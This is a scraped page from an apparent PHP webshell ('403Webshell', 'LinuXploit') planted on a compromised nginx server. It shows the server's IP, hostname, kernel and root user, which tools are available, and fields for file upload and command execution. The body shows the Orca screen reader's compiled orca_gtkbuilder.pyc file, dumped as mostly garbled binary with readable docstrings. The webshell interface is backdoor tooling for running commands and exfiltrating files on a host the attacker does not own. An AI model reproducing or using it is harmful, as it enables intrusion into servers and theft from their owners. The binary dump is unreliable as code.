403Webshell
Server IP : 39.108.156.168  /  Your IP : 216.73.216.104
Web Server : nginx/1.24.0
System : Linux e2.ksyuki.com 6.11.0-25-generic #25~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:20:50 UTC 2 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/orca/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/orca/__pycache__/orca_gtkbuilder.cpython-312.pyc
�

g
f���P�dZdZdZdZdZdZddlZddlmZd	d
l	m
Z
Gd�d�Zy)
z)Displays a GUI for the user to quit Orca.z$Id$z
$Revision$z$Date$z-Copyright (c) 2005-2009 Sun Microsystems Inc.�LGPL�N)�Gtk�)�_c�.�eZdZdZd�Zd�Zd�Zd�Zd�Zy)�GtkBuilderWrappera�
    Superclass for GtkBuilder based applications. Just derive from this
    and your subclass should create methods whose names correspond to
    the signal handlers defined in the GtkBuilder file. Any other attributes
    in your class will be safely ignored.

    This class will give you the ability to do:
        subclass_instance.GtkWindow.method(...)
        subclass_instance.widget_name...
    c��tj�|_|jjt	j
��|jj
|�|jj|�|_|jj�D]}|j|��|j�i}t|j�D]}t||�||<�|jj|�y)N)r�Builder�builder�set_translation_domain�gettext�
textdomain�
add_from_file�
get_object�	gtkWindow�get_objects�localize_widget�
set_orca_icon�dir�	__class__�getattr�connect_signals)�self�fileName�
windowName�obj�instance_attributes�	attributes      �6/usr/lib/python3/dist-packages/orca/orca_gtkbuilder.py�__init__zGtkBuilderWrapper.__init__-s����{�{�}������+�+�G�,>�,>�,@�A����"�"�8�,����0�0��<���
�<�<�+�+�-�	&�C�� � ��%�	&�	
���� ���T�^�^�,�	F�I�-4�T�9�-E��	�*�	F����$�$�%8�9�c�f�tjj�}	|jddd�}|jddd�}|jddd�}|jddd�}|jddd�}tjj|||||f�y#t$rYywxYw)	zvGet the icon in all sizes from the current theme and set them as
        default for all application windows.
        �orca�r��� �0N)r�	IconTheme�get_default�	load_icon�Window�set_default_icon_list�	Exception)r�
icon_theme�icon16�icon22�icon24�icon32�icon48s       rrzGtkBuilderWrapper.set_orca_iconBs���
�]�]�.�.�0�
�
	6��)�)�&�"�a�8�F��)�)�&�"�a�8�F��)�)�&�"�a�8�F��)�)�&�"�a�8�F��)�)�&�"�a�8�F�
�J�J�,�,�f�-3�-3�-3�-3�	.5�
6���	��	�s�AB$�$	B0�/B0c�b�|jj|�}|�td|zdz��|S)a(Return the requested widget. This routine has been introduced
        (and calls to it made by the Orca GtkBuilder sub-classes), to prevent
        "No class attribute" pychecker errors caused when using __getattr__.

        Arguments:
        - attribute: name of the widget to return.
        �Widget [�] not found)rr�AttributeError�rr�widgets   r�
get_widgetzGtkBuilderWrapper.get_widgetWs7�����(�(��3���>� ��i�!7�-�!G�H�H��
r!c��|jj|�}|�td|zdz��||j|<|S)Nr6r7)rrr8�__dict__r9s   r�__getattr__zGtkBuilderWrapper.__getattr__fsC�����(�(��3���>� ��i�!7�-�!G�H�H�#)��
�
�i� ��
r!c�"�	|j�}|j�}t|tj
�ry	|j
�}|r%t|�r|jt|��|r|jd�y#t$rd}d}Y�vwxYw#t$ri	|j�}n#t$rYYywxYw|rBt|�r7|r|jt|��n|jt|��Y��wxYw)z�Force the localization of the label/title of GtkBuilder objects

        Arguments:
        - obj: the GtkBuilder object whose label or title should be localized
        FNT)�get_use_markup�get_use_underliner.�
isinstancer�Frame�	get_title�len�	set_titler�	get_label�
set_markup�	set_label�set_use_underline)rr�	useMarkup�useUnderline�title�texts      rrz!GtkBuilderWrapper.localize_widgetns���	!��*�*�,�I��0�0�2�L�
�c�3�9�9�%�
�	+��M�M�O�E���U���
�
�a��h�'���!�!�$�'���A�	!��I� �L�	!��"�
	+�
��}�}�����
��
����D�	���N�N�1�T�7�+��M�M�!�D�'�*��
	+�sG� B	�7B�	
B�B�	D�&B7�6D�7	C�D�C�AD�
DN)	�__name__�
__module__�__qualname__�__doc__r rr;r>r�r!rrr!s ��	�:�*6�*
��.r!r)rR�__id__�__version__�__date__�
__copyright__�__license__r
�
gi.repositoryr�	orca_i18nrrrSr!r�<module>r[s8��(0�������?�
������{�{r!

Youez - 2016 - github.com/yon3zu
LinuXploit